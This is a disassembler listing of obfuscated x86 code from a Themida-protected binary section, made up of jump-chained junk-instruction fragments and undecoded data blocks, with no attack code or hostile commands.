; ---------------------------------------------------------------------------
loc_55F7CC: ; CODE XREF: Themida_:00566C54j
mov ebx, 1C053D1Ch
push eax
push edi
mov edi, 5A4A51C1h
mov eax, 56473D6Fh
jmp loc_56312E
; ---------------------------------------------------------------------------
loc_55F7E2: ; CODE XREF: Themida_:005643FEj
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_55AD37
; ---------------------------------------------------------------------------
aLS db '‹<$é±}',0
db 0
; ---------------------------------------------------------------------------
loc_55F805: ; CODE XREF: Themida_:005668DBj
mov esi, 384D344Dh
jmp loc_55CF0A
; ---------------------------------------------------------------------------
db 31h
dd 693EE9DAh, 0E581FFFFh, 4F0D3096h, 977FED81h, 0EB01139Eh
dd 53B9515Dh, 12C2643h, 0D30159CBh, 4353EB81h, 0BE562C26h
dd 0D1B0822h, 0EEC1DEF7h, 9109E902h, 0C8BFFFFh, 4C48324h
dd 9F7BD55h, 0C5814633h, 13E3BDBh, 0FFC8A3E9h, 7DE950FFh
dd 80FFFFFCh, 910454EBh, 0D8281E04h, 0BE95366h
db 3Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F873: ; CODE XREF: Themida_:00554330j
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
pop ecx
jmp loc_560D2A
; ---------------------------------------------------------------------------
loc_55F882: ; CODE XREF: Themida_:005595D2j
add ebx, edi
jmp loc_564065
; ---------------------------------------------------------------------------
loc_55F889: ; CODE XREF: Themida_:005539B0j
sub esp, 4
jmp loc_561699
; ---------------------------------------------------------------------------
db 81h, 0CFh, 0F9h
dd 4F7CFE56h, 643CF781h, 0C781195Ch, 11503625h, 0F4B5EF81h
dd 0FE012C1Fh, 0BC91E95Fh, 0EF80FFFFh, 5BB3535Ah, 1C8BDA28h
dd 4C48324h, 0C280FA00h, 912C5B5Bh, 9104D028h, 0FFA07FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F8D1: ; CODE XREF: Themida_:00566714j
pop ebp
xor esi, 70ED7F73h
sub esp, 4
mov [esp], edx
push ecx
mov ecx, 5D4E2B1Ah
push edx
mov edx, 6C310785h
and ecx, edx
pop edx
and ecx, 5CF31734h
not ecx
push esi
push ebp
jmp loc_553147
; ---------------------------------------------------------------------------
dd 243C8B54h, 4C481h, 0C7810000h, 4, 4BE56h, 0F7010000h
dd 4E6BE95Eh, 34FF0000h, 0EC815824h, 4, 0FF9E46E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F929: ; CODE XREF: Themida_:00558EB7j
pop ecx
add edi, 0AF87BB69h
push ebp
jmp loc_55CF67
; ---------------------------------------------------------------------------
dw 74FFh
dd 8F5D0424h, 685C2404h, 73Dh, 0BA241489h, 2, 335AD701h
dd 3C31243Ch, 572DE924h, 68560000h, 4B3543A9h, 8324348Bh
dd 0EC8304C4h, 24148904h, 5A5FABBAh, 0FBEA8163h, 94DDD5Bh
dd 74E95AD6h
db 76h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F97F: ; CODE XREF: Themida_:00555210j
xor ecx, 7CEC5D03h
push esi
mov esi, 44D8556Dh
neg esi
sub esi, 0B02E53DFh
xor ecx, esi
mov esi, [esp]
add esp, 4
add ecx, 0EC68C87Dh
push 6E37h
mov [esp], ecx
push dword ptr [esp]
jmp loc_566AC9
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0F3AAF381h, 0C181B037h, 5AC3701Eh, 77E981h, 0D901398Bh
dd 0FFF7A7E9h, 7E1C0FFh, 0E9C3B753h, 0FFFF893Bh, 50243489h
dd 0EF593DB8h, 24A02D12h, 0C6899469h, 5EEE8158h, 0E93A7236h
dd 0FFFF3C53h, 68240C89h, 3CD21B92h, 0E8E94959h, 5F000067h
dd 4875E9h, 2474FF00h, 240C8B04h, 4C481h, 48F0000h, 2434FF24h
dd 3E87E9h, 1558BE00h, 0F1291BDBh, 0FF4222E9h, 5B93B9FFh
dd 0CA0108A2h, 0D5ED8159h, 0E972903Fh, 0FFFF782Ch, 66D9885Ah
dd 83241C8Bh, 0C80002C4h, 240C8B66h, 2C481h, 0E9530000h
dd 7397h, 0BE56D829h, 0BAF761Fh, 0E9DEF746h, 0FFFFD4E8h
dd 7E0AE952h, 6857FFFFh, 68894D05h, 4B7BE95Fh, 34FF0000h
dd 0C4815F24h, 4, 4EC81h, 1C890000h, 81E38924h, 4C3h, 4C38100h
dd 87000000h, 248B241Ch, 242C8724h, 0FF24248Bh, 86E92434h
dd 56000002h, 0FFDFF5E9h, 0F88850FFh, 5B58C688h, 0FBE95166h
db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FAC7: ; CODE XREF: Themida_:00557035j
mov ecx, 4F5C1A27h
add ecx, 0DA741DEh
shl ecx, 1
push edx
mov edx, 245D5E2Eh
sub edx, 1
sub edx, 824285DAh
xor ecx, edx
pop edx
add ebp, ecx
mov ecx, [esp]
add esp, 4
jmp loc_56371B
; ---------------------------------------------------------------------------
loc_55FAF6: ; CODE XREF: Themida_:0055D086j
shr ecx, 8
shl ecx, 8
add ecx, 5320DD2Bh
xor edi, ecx
pop ecx
push 11D4h
mov [esp], ebx
push edi
push ebx
mov ebx, 4B1E4230h
sub [esp+4], ebx
pop ebx
pop ebx
jmp loc_55C098
; ---------------------------------------------------------------------------
db 56h
dd 27A06855h, 815D4422h, 5ABCCEDh, 0E88950D7h, 8B58C689h
dd 8957242Ch, 0C6B4E9E7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FB3E: ; CODE XREF: Themida_:00563BF4j
pop esp
retn
; ---------------------------------------------------------------------------
dd 0FF30F3E9h, 513BB6FFh, 0F1801FB1h, 0C31BE9E0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FB52: ; CODE XREF: Themida_:00554A6Dj
push 4684h
jmp loc_5558B9
; ---------------------------------------------------------------------------
dd 50E68852h, 0E588F488h, 3BE95A58h, 28000032h, 4A32CD8h
dd 6763E999h, 0DD890000h, 5EFEE95Bh, 4330000h, 24043124h
dd 8B240433h, 0E2E92424h, 0BF000059h, 2F062232h, 5206E7C1h
dd 0B630AC68h, 0ECE95A01h, 2DFFFF7Ah, 54CB5822h, 83241C8Bh
dd 0D00104C4h, 0AE385C05h, 62E9530Ah, 68FFFF35h, 7715h
dd 0FF97D2E9h, 37C281FFh, 8170F64Ah, 0A41F11E2h, 4CBE5609h
dd 17EE814h, 0ADE95EF2h, 81FFFFE8h, 4C7h, 7A76E900h, 0D6F6FFFFh
dd 0F6F9C680h, 90E953D6h, 66000039h, 8124048Bh, 2C4h, 2F28000h
dd 2EC81h, 89660000h, 1CF62414h, 148B6624h, 2C48124h, 66000000h
dd 58C1E953h, 0C330000h, 240C3124h, 5C240C33h, 51242C89h
dd 0E205E268h, 240C8B52h, 81E18951h, 4C1h, 4BA5200h, 1000000h
dd 0C875AD1h, 512DE924h, 565D0000h, 0F4299BBEh, 5EF1213Fh
dd 8218E9h, 22E95900h, 100007Fh, 81042444h, 5E042444h
dd 580C816Bh, 7F01E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FC7A: ; CODE XREF: Themida_:00566B6Dj
xor eax, [esp]
jmp loc_564D0B
; ---------------------------------------------------------------------------
dw 0E089h
dd 7A5FBE56h, 0EEC1188Ah, 0E6814608h, 767115AAh, 26EE81h
dd 0F0010010h, 42D5Eh, 4870000h, 24895C24h, 0D3C1E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FCAE: ; CODE XREF: Themida_:00557BF8j
pop ecx
jmp loc_558E96
; ---------------------------------------------------------------------------
loc_55FCB4: ; CODE XREF: Themida_:00560C93j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
add ebx, edx
pop edx
push eax
jmp loc_56253D
; ---------------------------------------------------------------------------
db 5Dh
dd 0FF9B3EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FCCD: ; CODE XREF: Themida_:005549BBj
mov esi, eax
pop eax
mov ebp, [esp]
add esp, 4
sub esi, 0FA7CC1ECh
jmp loc_5666A0
; ---------------------------------------------------------------------------
dd 8F04C483h, 0E95C2404h, 0FFFFB68Fh, 57468h, 0EFDBE900h
dd 0BEFFFFh, 1411126h, 0D3F75EF3h, 0C104EBC1h, 5FE908EBh
dd 8100004Fh, 834F81EDh, 0E9E9898Fh, 0FFFF8204h, 88EDC680h
dd 0B3E95AF1h, 0BFFFFF35h, 6AA11D1Bh, 0C7FAEF81h, 0FD31263Eh
dd 0FF4FB6E9h, 236858FFh, 0E900000Fh, 19B4h, 4C781h, 3C870000h
dd 24248B24h, 578568h, 241C8900h, 0C381E389h, 4, 8704EB83h
dd 0E95C241Ch, 0FFFF8D6Eh, 4EC8156h, 0E9000000h, 0FFFFEDBBh
; ---------------------------------------------------------------------------
loc_55FD78: ; CODE XREF: Themida_:0056678Ej
push esi
mov esi, 1DD251B2h
add edi, esi
pop esi
pop esi
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_5619D2
; ---------------------------------------------------------------------------
dd 24048B66h, 393FE9h, 87C58000h, 50E5E952h, 0BA52FFFFh
dd 2, 8AE9D389h, 8B00002Fh, 82E9243Ch
db 7Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FDB7: ; CODE XREF: Themida_:005647BCj
mov [esp], ebp
push esp
pop ebp
push ebx
jmp loc_55B7C3
; ---------------------------------------------------------------------------
aIX db '¸i',9,'X',0
db 9
dd 0CB8158C3h, 137016E0h, 4EC81h, 0D2E90000h, 81000045h
dd 917D36C3h, 0F87CE973h, 0E951FFFFh, 0FFFF941Dh, 8159CA09h
dd 0A746EDEAh, 0E9DAF713h, 472h, 88241489h, 0FFF188E6h
dd 0B0E92434h, 81FFFF42h, 0A042444h, 163231Dh, 81042454h
dd 0A04246Ch, 8163231Dh, 3104246Ch, 8118642Eh, 2D042444h
dd 0E92B190Eh, 0FFFFA4C5h
; ---------------------------------------------------------------------------
loc_55FE34: ; CODE XREF: Themida_:0056056Ej
shr edi, 8
add edi, 0FFFF6ECBh
push 1FEDh
mov [esp], edi
mov ebx, [esp]
push eax
jmp loc_562BDF
; ---------------------------------------------------------------------------
aBLnjlsU db 'êLjlé+U',0
db 0
; ---------------------------------------------------------------------------
loc_55FE59: ; CODE XREF: Themida_:005538C4j
pop dword ptr [esp]
jmp loc_565F12
; ---------------------------------------------------------------------------
db 87h, 1Ch, 24h
dd 0B1515Ch, 0E980D9F6h, 1E98067h, 8003E1C0h, 0B05086E1h
dd 69B151DCh, 0FFE533E9h, 575258FFh, 6339A3BFh, 25C78135h
dd 57D468E1h, 42242C81h, 5A677674h, 7442C281h, 515F6776h
dd 530908B9h, 14F75112h, 0F1815924h, 58E201F7h, 6D64E181h
dd 0E98157EDh, 61C80DE6h, 2FB4F181h, 25E9C7E3h, 8BFFFFFFh
dd 0C481242Ch, 4, 0FFF68CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FED5: ; CODE XREF: Themida_:005544B7j
not edx
shl edx, 1
jmp loc_564E20
; ---------------------------------------------------------------------------
dw 0BA52h
dd 4, 0E95AD689h, 0FFFFA5B2h, 513F68h, 620DE900h, 15D0000h
dd 242C8BEFh, 537768h, 243C8900h, 0DDE9E789h, 81FFFF38h
dd 437AD0EAh, 8E2C11Eh, 0F252BE56h, 0F2314427h, 8124348Bh
dd 4C4h, 5AD60900h, 4891CE81h, 0DEE90EE4h
db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FF33: ; CODE XREF: Themida_:005633F8j
pop esi
push dword ptr [esp]
jmp loc_55E9F0
; ---------------------------------------------------------------------------
dd 8324048Bh, 0C3304C4h, 240C3124h, 2F64E9h, 24048F00h
dd 14F6E9h, 718BB00h, 0DF296D01h, 2414E9h
db 0
; ---------------------------------------------------------------------------
loc_55FF61: ; CODE XREF: Themida_:0055A487j
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esp
jmp loc_55958F
; ---------------------------------------------------------------------------
loc_55FF70: ; CODE XREF: Themida_:00560FEAj
xchg ebx, [esp]
mov esp, [esp]
add eax, 4DD97B69h
inc eax
add eax, 0ABF7AE96h
or ebx, eax
pop eax
sub ebx, 1
jmp loc_55AB11
; ---------------------------------------------------------------------------
dd 5008EAC1h, 1855F8B8h, 155C0D5Dh, 0D0F71376h, 65E5E9h
dd 5FFD8900h, 5202E5C1h, 47C5BF57h, 50BA5702h, 31338E4Dh
dd 98BDE9FAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FFBA: ; CODE XREF: Themida_:005670EBj
add esp, 4
mov ebp, [esp]
add esp, 4
neg ebx
jmp loc_5663DB
; ---------------------------------------------------------------------------
dw 0C783h
dd 243C8704h, 3D01E9h
db 0
; ---------------------------------------------------------------------------
loc_55FFD5: ; CODE XREF: Themida_:005648D4j
dec esi
sub esi, 1
inc esi
jmp loc_56278A
; ---------------------------------------------------------------------------
db 0B3h
dd 0E9EBD0F3h, 0FFFF32C2h, 0E904C083h, 0FFFFB5DAh, 509468h
dd 242C8900h, 0A65CC5BDh, 1C58135h, 0E9000000h, 0FFFF7ECCh
dd 0EB7FBBBDh, 5DEF091Ch, 0BBB1C781h, 0FE2974ACh, 871AE95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56001E: ; CODE XREF: Themida_:0055F526j
sub eax, 0A2E7279h
pop ebp
add eax, esi
add eax, 3A0071E4h
jmp loc_558ED5
; ---------------------------------------------------------------------------
dd 81D9015Eh, 90696C1h, 0D7E5E952h, 3C8BFFFFh, 4C48124h
dd 0E9000000h, 68B7h, 81665D66h, 590B0EC2h, 66565166h
dd 6669F7BEh, 6A5CEE81h, 80EE8166h, 0DEF76603h, 0FF3889E9h
dd 3263BBFFh, 0D3877C31h, 36E9D2F7h
db 36h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56007B: ; CODE XREF: Themida_:0055463Dj
mov esi, 8304858h
inc esi
sub esi, 0FCDAEDFFh
add ecx, esi
pop esi
pop ebp
sub ebp, ecx
pop ecx
sub ebp, 2B8F18B9h
pop ecx
add ebp, 2
xchg ebp, [esp]
mov esp, [esp]
mov ax, [esp]
push 20C1h
mov [esp], esi
push esp
pop esi
jmp $+5
push eax
push ecx
mov ecx, 21F25ECBh
push ecx
xor dword ptr [esp], 1BE0577Dh
pop eax
xor eax, 1BE0577Dh
pop ecx
jmp loc_557613
; ---------------------------------------------------------------------------
loc_5600CF: ; CODE XREF: Themida_:0055AC73j
not dword ptr [esp]
pop edx
jmp loc_560518
; ---------------------------------------------------------------------------
loc_5600D8: ; CODE XREF: Themida_:0055ABDCj
add ebp, edx
mov edx, [esp]
add esp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push edi
jmp loc_561210
; ---------------------------------------------------------------------------
db 29h
dd 0E9555DE9h, 0FFFFE144h, 8EA3E94Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560102: ; CODE XREF: Themida_:0055BB90j
mov [esp], ecx
mov ecx, 1
push ecx
push eax
jmp loc_556976
; ---------------------------------------------------------------------------
db 28h, 0D7h, 5Ah
dd 0DF2CA52Ch, 0FFC7E9E9h, 485DBFFFh, 0C7812A6Ah, 0E424D0Dh
dd 1008F781h, 0F74F467Dh, 80C781D7h, 89EB65BEh, 0E5D15FFDh
dd 5C26F581h, 0E831BAC5h, 0E9242C8Bh, 0FFFF79CEh
; ---------------------------------------------------------------------------
loc_56014C: ; CODE XREF: Themida_:005640A3j
pop edi
push ebx
mov ebx, 4
sub esi, ebx
pop ebx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], esi
push edi
mov edi, 1
mov esi, edi
pop edi
and eax, esi
push dword ptr [esp]
pop esi
jmp loc_56580D
; ---------------------------------------------------------------------------
loc_560179: ; CODE XREF: Themida_:0055B732j
sub eax, 0FFFFFFFFh
push esi
jmp loc_565116
; ---------------------------------------------------------------------------
loc_560184: ; CODE XREF: Themida_:00565082j
jmp loc_552C38
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 0E904C483h, 6ECh, 0FEFBB252h, 0D69FE9C2h, 2C8BFFFFh
dd 4C48324h, 557CEA81h, 0E9512AF5h, 71D0h, 0E9FFE983h
dd 0FFFFB3FCh, 24048F5Ch, 1489665Ch, 7D41E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5601C6: ; CODE XREF: Themida_:00552C66j
pop dword ptr [esp]
jmp loc_55DFF5
; ---------------------------------------------------------------------------
dw 555Fh
dd 0FFA00FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5601D5: ; CODE XREF: Themida_:005609E2j
sub esi, 4D5A1F94h
add esi, 5D0235B2h
mov ecx, esi
pop esi
sub ecx, 4B3D7331h
and eax, ecx
mov ecx, [esp]
add esp, 4
or eax, eax
jnz loc_5663B6
push 1
push dword ptr [esp]
push dword ptr [esp]
pop edx
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_55983A
; ---------------------------------------------------------------------------
loc_56021A: ; CODE XREF: Themida_:00557448j
pop esp
jmp loc_5654A9
; ---------------------------------------------------------------------------
dd 0BD555750h, 54C80697h, 120C581h, 0EF89B9CBh, 0FFBB99E9h
dd 242C87FFh, 3124248Bh, 0A9E959CAh
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_560243: ; CODE XREF: Themida_:0055B37Aj
mov esi, 719932D4h
sub esi, ebp
pop ebp
jmp loc_553D53
; ---------------------------------------------------------------------------
dd 1D03B850h, 0E8C10B77h, 0D0E7E905h, 2C2DFFFFh, 51505874h
dd 0C97344B9h, 0D2A6E978h, 0E94AFFFFh, 0FFFF3EDDh, 4C481h
dd 9DBF0000h, 1EED3D8h, 2434FFC7h, 0E924048Bh, 58E6h
; ---------------------------------------------------------------------------
loc_56028C: ; CODE XREF: Themida_:005542D5j
pop esi
jmp loc_553976
; ---------------------------------------------------------------------------
dw 0CB81h
dd 18D17BDEh, 2403EB81h, 0C4E96ADAh
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5602A3: ; CODE XREF: Themida_:00559091j
mov ecx, 0
jmp loc_567A9A
; ---------------------------------------------------------------------------
db 58h, 83h, 0C4h
dd 25B5E904h, 43680000h, 89000070h, 4AB3241Ch, 1C16E9h
db 0
; ---------------------------------------------------------------------------
loc_5602C5: ; CODE XREF: Themida_:0055B653j
inc dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 42247720h
jmp loc_5614B4
; ---------------------------------------------------------------------------
loc_5602DA: ; CODE XREF: Themida_:00562A52j
pop edi
and eax, edi
jmp loc_554117
; ---------------------------------------------------------------------------
dw 0E389h
dd 4C381h, 43E90000h, 53000002h, 5A440DBBh, 0C1DBF752h
dd 95E904E3h, 66FFFF74h, 6824048Bh, 414Ah, 0FF4BF4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56030D: ; CODE XREF: Themida_:0056180Dj
push ecx
mov ecx, 4
add eax, ecx
pop ecx
jmp loc_55BDF1
; ---------------------------------------------------------------------------
loc_56031B: ; CODE XREF: Themida_:00565B50j
pop eax
jmp loc_5679C8
; ---------------------------------------------------------------------------
db 5Ah, 0C0h, 0ECh
dd 0F1B35306h, 0E9C0F380h, 0B05h, 4EC81h, 0A6E90000h
db 99h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56033B: ; CODE XREF: Themida_:00560B83j
sub edi, 3A1A0DB2h
mov esi, edi
pop edi
pop ebp
push eax
jmp loc_55C63D
; ---------------------------------------------------------------------------
loc_56034B: ; CODE XREF: Themida_:005644D7j
mov edi, eax
jmp loc_555590
; ---------------------------------------------------------------------------
loc_560352: ; CODE XREF: Themida_:00567FA9j
mov [esp], ebx
push esp
pop ebx
jmp loc_55AC41
; ---------------------------------------------------------------------------
loc_56035C: ; CODE XREF: Themida_:005611FAj
pop ebp
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
push 5C36h
mov [esp], edx
push esi
jmp loc_55D9E7
; ---------------------------------------------------------------------------
db '^hÏ',27h,0
dw 8900h
dd 89E92434h, 0FFFFFF7Eh, 68582434h, 1917h, 68243C89h
dd 0AB0h, 81242489h, 42404h, 34FF0000h, 89505F24h, 405E0h
dd 0C0830000h, 657EE904h, 4BA0000h, 1000000h, 2434FFD3h
dd 3C2DE9h
db 0
; ---------------------------------------------------------------------------
loc_5603C1: ; CODE XREF: Themida_:00566581j
shr ecx, 2
push ebx
sub dword ptr [esp], 1D6E7E84h
mov eax, [esp]
add esp, 4
push 525Ch
jmp loc_554335
; ---------------------------------------------------------------------------
db 50h
dd 0C289F089h, 5AD38958h, 0C87535Eh, 65FDE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5603F2: ; CODE XREF: Themida_:00562569j
not edi
push eax
mov eax, 48872B7Dh
dec eax
shl eax, 6
sub eax, 43F9710Fh
add edi, eax
pop eax
sub ecx, 262169F6h
jmp loc_557BEA
; ---------------------------------------------------------------------------
db 55h, 0E9h, 0A7h
dd 80FFFF48h, 97E92BE5h, 0BA000062h, 310066F7h, 815AD729h
dd 0B273E4EFh, 57C681F4h, 10EBA6Ch, 57EE81FEh, 5F0EBA6Ch
dd 6A6AE9h, 0C6E95300h, 0FF000027h, 81582434h, 4C4h, 0CDC78100h
dd 1335C4Ah, 9FE953F7h, 8BFFFFCCh, 0C481242Ch, 4, 89651A35h
dd 9CA22D0Dh, 35E92954h, 0FFFFFF4Ch, 34FF2434h, 14B5E924h
dd 0C8B0000h, 0E1895124h, 4BD55h, 0F4E90000h, 81000028h
dd 0D0182FC5h, 0BEF5816Fh, 1B05E8Eh, 0BE565DEFh, 2, 348BF701h
dd 4C48124h, 87000000h, 95E9243Ch, 68FFFF3Dh, 1C67h, 89240C89h
dd 4C181E1h, 0E9000000h, 0FFFF3EB1h, 2A5D4EBFh, 5FFB2912h
dd 3780F381h, 0DA018C0Ch, 1CE9515Bh
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5604E7: ; CODE XREF: Themida_:005552B8j
mov ebp, esp
push 4A51h
mov [esp], edx
push 3C9B6A97h
jmp loc_56694F
; ---------------------------------------------------------------------------
db 8Bh
dd 11E9242Ch, 1000022h, 4EC81EFh, 89000000h, 0C0B82404h
dd 0E906455Ah, 16F5h
; ---------------------------------------------------------------------------
loc_560518: ; CODE XREF: Themida_:005600D3j
sub edx, 1BC73304h
add edx, 0ABD1B76Eh
add ebx, edx
pop edx
jmp loc_553B59
; ---------------------------------------------------------------------------
dd 0BE13E953h, 0C383FFFFh, 241C8704h, 3606E9h
db 0
; ---------------------------------------------------------------------------
loc_56053D: ; CODE XREF: Themida_:005566BDj
xor ebx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edi
jmp loc_560C0E
; ---------------------------------------------------------------------------
aW db '¾w[',0Ah,0
db 31h
dd 7D51E9F1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56055A: ; CODE XREF: Themida_:0055A9DFj
pop ebp
pop eax
xor ebp, 4C6856B0h
mov edi, ebp
pop ebp
xor edi, 14DB127Ch
shr edi, 7
jmp loc_55FE34
; ---------------------------------------------------------------------------
db 0B8h
dd 131F7C33h, 22321D0Dh, 0C1E0D140h, 0E8C107E8h, 0E8F50504h
dd 8150C366h, 438D242Ch, 815F7241h, 41438DC7h, 0F8015872h
dd 8BC5315Fh, 89532404h, 4C381E3h, 81000000h, 4C3h, 241C8700h
dd 0E073E95Ch, 8F59FFFFh, 19E92404h, 0C1FFFF73h, 0E907E6h
dd 0B9000002h, 345035E1h, 6225E9h, 4055800h, 0E9000000h
dd 79CEh, 0ECE9D831h, 87FFFFC6h, 535C241Ch, 0FFFCF1E9h
dd 0EFC15FFFh, 6DFF6802h, 1C890000h, 2E56E924h, 0D1BF0000h
dd 0E9135656h, 0FFFFBFEFh, 0BEF6E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560612: ; CODE XREF: Themida_:005564C5j
pop ebx
sub dl, 0FFh
sub dl, 0BAh
jmp loc_55532C
; ---------------------------------------------------------------------------
loc_56061E: ; CODE XREF: Themida_:00555E58j
mov ecx, [esp]
add esp, 4
not bl
add bl, 0A4h
jmp loc_5553EB
; ---------------------------------------------------------------------------
dw 0ED81h
dd 4A2038A9h, 8324348Bh, 0D9E904C4h
db 61h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56063F: ; CODE XREF: Themida_:0055E18Dj
add ecx, 84A493FCh
jmp loc_564628
; ---------------------------------------------------------------------------
dw 55Ah
dd 408B1FF5h, 2BD555Fh, 0E9000000h, 10A9h
; ---------------------------------------------------------------------------
loc_56065C: ; CODE XREF: Themida_:0055B09Bj
pop eax
shr ecx, 1
or ecx, 7A76BADh
add ecx, 41880C93h
shr ecx, 2
add ecx, 30E431D7h
mov edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55B297
; ---------------------------------------------------------------------------
aXs db 9,'ÂXéÚ',0Bh,0
dd 54DABD00h, 0E9291E79h, 0FF7979E9h, 24248BFFh, 2896664h
dd 0FF2597E9h, 0D830ACFFh, 8904EC83h, 0DF68240Ch, 8900002Dh
dd 0ACB22414h, 88D38853h, 7BCDE9D9h, 0D801FFFFh, 0E4F1E953h
dd 0C483FFFFh, 68D9F604h, 28F5h, 0B6241489h, 8C680CDh
dd 0C680DEF6h, 5AF130F6h, 23B9E9h, 51D63100h, 63EBBE56h
dd 0D6F77040h, 6AECE9h, 4C48300h, 692AC981h, 0E9C15ADCh
dd 14E98105h, 89AE76D0h, 0F38959CEh, 55D3F75Eh, 0CE241BBDh
dd 41C0E948h, 0BF57FFFFh, 2B3B6880h, 8103EFC1h, 9F3A72F7h
dd 5FF93100h, 0FFC2CFE9h, 4BF57FFh, 81000000h, 18586AEBh
dd 81FB0152h, 18586AC3h, 0C3835F52h, 241C3304h, 0E9241C31h
dd 3EFCh, 0C681E689h, 4, 4C681h, 34870000h, 0C5815C24h
dd 0AC398D94h, 5597E9h
db 0
; ---------------------------------------------------------------------------
loc_560771: ; CODE XREF: Themida_:00553B77j
add ecx, edx
jmp loc_568183
; ---------------------------------------------------------------------------
loc_560778: ; CODE XREF: Themida_:00558332j
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], ecx
mov ecx, 4
sub edx, ecx
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_55B4F6
; ---------------------------------------------------------------------------
dw 0E958h
dd 0FFFF3124h, 0E904C483h, 571Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_552C38
; ---------------------------------------------------------------------------
db 81h
dd 0D74B9CC6h, 0DC6815Ch, 81F411D4h, 8560BEC7h, 81F70128h
dd 8560BEEFh, 824EE928h, 5DBDFFFFh, 817AFF60h, 9FA5C5h
dd 0AAE95685h, 71h, 7AB050E3h, 6F0CC0FEh, 634C0FEh, 5858C328h
dd 0FFF052E9h, 240C33FFh, 33240C31h, 248B240Ch, 0E7895724h
dd 251EB850h, 1A353A50h, 13A5025h, 4467E9C7h, 5F050000h
dd 527D73Bh, 8117DC1h, 160B951h, 0E9811977h, 3D575C59h
dd 8103E1C1h, 8105B8F1h, 0F9C1810Ch, 81162E17h, 0BB3C27C1h
dd 0E1F18161h, 29185CF0h, 0EC8359C8h, 243C8904h, 699468h
dd 241C8900h, 0E49C768h, 0E9575B36h, 0FFFF2B01h, 0DEE9CAFEh
dd 0B8FFFF85h, 0E5D16F5h, 1F20BB53h, 0D829093Ah, 0BF57405Bh
dd 3C80631Ah, 0F708E7C1h, 3E7C1DFh, 8104E7C1h, 9E71CDEFh
dd 0D7EF8111h, 2176ED31h, 0D971E9F8h, 315AFFFFh, 2434FFF8h
dd 4EC815Fh, 0E9000000h, 0FFFF3FD8h, 0EC30E530h, 0EC86D5F6h
dd 0C4FED4F6h, 6EE9DCF6h, 81000055h, 4C4h, 35EB8100h, 56EFCBBEh
dd 0FFB0A0E9h, 225CBBFFh, 0F3811AA1h, 1A1A0360h, 1391E381h
dd 49E9240Ah
db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560907: ; CODE XREF: Themida_:0055CD29j
mov esp, [esp]
sub esp, 4
mov [esp], ebp
push 40h
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_562BB3
; ---------------------------------------------------------------------------
dd 24E98158h, 687E1A63h, 75EAh, 0BF243C89h, 0ED31D576h
dd 552EE981h, 0F9295831h, 14BCBF57h, 0C78162D4h, 0F55D4072h
dd 8B5FF901h, 0C483243Ch, 86EE8104h, 146AA36h, 86C681CEh
dd 5946AA36h, 2BA52h, 0E90000h, 81FFFFBAh, 4ECh, 24148900h
dd 0C281E289h, 4, 8704C283h, 8CE92414h
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56098B: ; CODE XREF: Themida_:005576CFj
pop ebp
mov ecx, [esp]
jmp loc_56459C
; ---------------------------------------------------------------------------
dd 0D2F7DAF7h, 5785C281h, 3AE97879h
db 5Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5609A3: ; CODE XREF: Themida_:00557572j
push edx
mov edx, 713149AEh
inc edx
dec edx
sub edx, 1B9054E8h
xor edx, 7DEEE3E4h
add ebx, edx
jmp loc_55D9D5
; ---------------------------------------------------------------------------
dw 1504h
dd 152CD028h, 0AFB75366h, 0F8287104h, 0FF70E3E9h
db 0FFh
